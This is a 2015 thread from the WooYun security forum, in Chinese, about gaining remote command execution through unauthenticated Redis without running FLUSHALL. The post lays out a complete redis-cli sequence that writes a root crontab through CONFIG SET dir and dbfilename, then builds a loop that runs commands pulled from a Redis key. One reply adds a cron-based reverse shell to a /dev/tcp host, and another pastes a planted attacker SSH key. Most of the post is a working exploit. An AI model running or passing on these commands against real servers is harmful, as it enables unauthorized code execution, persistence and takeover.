当前位置:WooYun(白帽子技术社区) >> 渗透测试 >> redis 远程命令执行 exploit (不需要flushall)

redis 远程命令执行 exploit (不需要flushall)

猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-11 13:48

redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 'ringzero',这样可以控制第一条记录,就能保证你的内容始终保持在最前面;

测试环境:CentOS,RHEL

# 利用crontab创建文件 /tmp/888

redis-cli flushall # 为了方便测试
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save

redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save


# 二次改写crontab

redis-cli flushall
redis-cli set 2 ';a=`redis-cli get c`;'
redis-cli set 1 'id;redis-cli set r `$a`;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami

# 利用第一步的写crontab步骤,完成下面的命令

echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r


控制 /var/spool/cron/root 和 /tmp/zz

# 最终实现,每10秒从redis的c变量读入要执行的命令,再将执行结果写入变量r

* * * * * sleep 10;/bin/sh /tmp/zz

三个白帽环境如下:

域名:208061131146e3af7.tsjie.sangebaimao.com
服务:redis   端口 6379
        openssh 端口 32770

快来玩玩 redis 远程执行命令的利用吧

分享到:
  1. 1#
    回复此人 感谢
    围剿 (七月流火,八月未央,九月白露凝成轻霜) | 2015-11-11 13:49

    前面占座。666

  2. 2#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-11 13:50

    redis-cli set r `redis-cli get c`

  3. 3#
    回复此人 感谢
    Anymous (ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้ด้้้้้็็็็็้้้้้็็็็็้้้) | 2015-11-11 13:57

    怎么ping不通。

  4. 4#
    回复此人 感谢
    0x_Jin (世上人多心不齐) | 2015-11-11 14:16

    你这是在redis服务器上 本机操作的吧
    把/tmp/w 写到远程redis 服务器上了
    怎么在本机 cat /tmp/w

  5. 5#
    回复此人 感谢
    偷笑的猫 | 2015-11-11 14:22

    瓜子花生

  6. 6#
    回复此人 感谢
    日出东方 | 2015-11-11 14:27

    服务不是关了?

  7. 7#
    回复此人 感谢
    CplusHua | 2015-11-11 14:31

    redis-cli flushall # 为了方便测试

  8. 8#
    回复此人 感谢
    CplusHua | 2015-11-11 14:33

    @0x_Jin 他是回车换行的把.

  9. 9#
    回复此人 感谢
    wilson (wilson) | 2015-11-11 14:35

    吊吊!

  10. 10#
    回复此人 感谢
    CplusHua | 2015-11-11 14:48

    @猪猪侠 我们做朋友吧...好崇拜...

  11. 11#
    回复此人 感谢
    _Thorns (创业公司招聘系统运维、软件逆向、数据可视化攻城狮。) | 2015-11-11 14:50

    被D了,

  12. 12#
    回复此人 感谢
    _Thorns (创业公司招聘系统运维、软件逆向、数据可视化攻城狮。) | 2015-11-11 14:52

    没搞懂...

  13. 13#
    回复此人 感谢
    kevinchowsec (吃喝吹飞) | 2015-11-11 15:08

    访问不了!

  14. 14#
    回复此人 感谢
    Devi1o | 2015-11-11 16:12

    404!!!!

  15. 15#
    回复此人 感谢
    爱捣蛋的鬼 | 2015-11-11 17:16

    可不可以理解就是利用crontab写shell来运行redis数据里面的代码, 再把结果吐到redis的变量里面

  16. 16#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-11 17:30

    @爱捣蛋的鬼 是的

  17. 17#
    回复此人 感谢
    Demon (证道) | 2015-11-11 17:31

    redis-cli set % 'test'  百分号比1要前面

  18. 18#
    回复此人 感谢
    loopx9 | 2015-11-11 18:37

    三个白帽环境没有测试成功,cron后台服务进程没有启动:
    1.png
    接着手动运行 /usr/sbin/cron 也没有成功

  19. 19#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-11 21:16

    @loopx9 ubuntu还要研究, ) 逃,/var/spool/cron/crontabs/

  20. 20#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2015-11-11 21:45

    好,妙! 刚刚考过科目二纪念一下,2015 11 11 11个人考试3个人过,我就是其中一个... 晚上七八点考试,压根都看不清路了.

  21. 21#
    回复此人 感谢
    loopx9 | 2015-11-11 22:17

    @猪猪侠 原来是目录是这个,受教了。。

  22. 22#
    回复此人 感谢
    大头火柴娃娃 (Above us only sky—Lennon) | 2015-11-12 10:17

    @猪猪侠 redis不会玩 泪奔ing

  23. 23#
    回复此人 感谢
    无人知晓 | 2015-11-12 12:45

    echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/your ip/8443 0>&1 \n\n"|redis-cli -h attack server -x set 1
    直接反弹个shell回来执行不是更方便~~

  24. 24#
    回复此人 感谢
    nony (Not do is die...) | 2015-11-12 13:37

    @猪猪侠 猪哥   那redis怎么写shell呢?

  25. 25#
    回复此人 感谢
    conqu3r (http://conqu3.paxmac.org/) | 2015-11-12 14:11

    @_Evil MD 看到下面这行科目二的信息,就不爽。f4ck。。。

  26. 26#
    回复此人 感谢
    三叶草 (一叶障目) | 2015-11-12 15:55

    谁把我服务器给爆菊了?
    REDIS0006<FE>^@^@^GcrackitA<92>
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]
    <FF><D5><A8>^Ur^T<C7><E9><91>

  27. 27#
    回复此人 感谢
    wps2015 (路过,来看看) | 2015-11-12 17:45

    redis + windows怎么破,路径都找不到。。。

  28. 28#
    回复此人 感谢
    0x_Jin (世上人多心不齐) | 2015-11-12 17:52

    @三叶草 [email protected] 这个人我在我扫描出的redis中 见了很多次了.  我存个字段 key wooyun 他就存个[email protected] 也不知道是谁

  29. 29#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-12 21:27

    @wps2015 .bat 启动项

  30. 30#
    回复此人 感谢
    自由与精神 | 2015-11-13 09:51

    我很早前就试过了 ,一直写都不成功,空格和特殊符号 导出来的时候成了乱码

  31. 31#
    回复此人 感谢
    myhalo (love halo.love life.) | 2015-11-13 09:58

    为什么不直接反弹shell呢?

  32. 32#
    回复此人 感谢
    胡小树 | 2015-11-13 10:42

    @猪猪侠  这个还是需要未授权访问 为前提是嘛、?

  33. 33#
    回复此人 感谢
    自由与精神 | 2015-11-13 15:11

    @猪猪侠 ubuntu 测试多次不成功,求协助

  34. 34#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-13 15:24

    @自由与精神 ubuntu要写其他地方,我也还在研究哈,ubuntu比centOS有意思的地方是,/bin/sh /tmp/w ,不管是什么文件都会直接执行

  35. 35#
    回复此人 感谢
    自由与精神 | 2015-11-13 16:38

    @猪猪侠 ubuntu写在/var/spool/cron/crontabs/里面  我是怎么都不能让计划任务正确运行,ubuntu好像对格式要求更加的严格,所以不能成功

  36. 36#
    回复此人 感谢
    自由与精神 | 2015-11-13 16:39

    @猪猪侠 加个微信吧

  37. 37#
    回复此人 感谢
    tmp | 2015-11-14 01:45

    @猪猪侠 我看你能把我的redis 0day玩到啥程度

  38. 38#
    回复此人 感谢
    自由与精神 | 2015-11-15 01:20

    @猪猪侠 还在测试吗

  39. 39#
    回复此人 感谢
    我是壮丁 (专业打酱油) | 2015-11-15 22:56

    归根到底还是要root运行redis,适用ssh不能被直接访问的场景

  40. 40#
    回复此人 感谢
    Fire ant | 2015-11-30 01:24

    然而我有了更好的方法=,=   ubuntu通过  red hat通过   centos通过

  41. 41#
    回复此人 感谢
    猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-30 02:28

    @Fire ant 呵呵

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录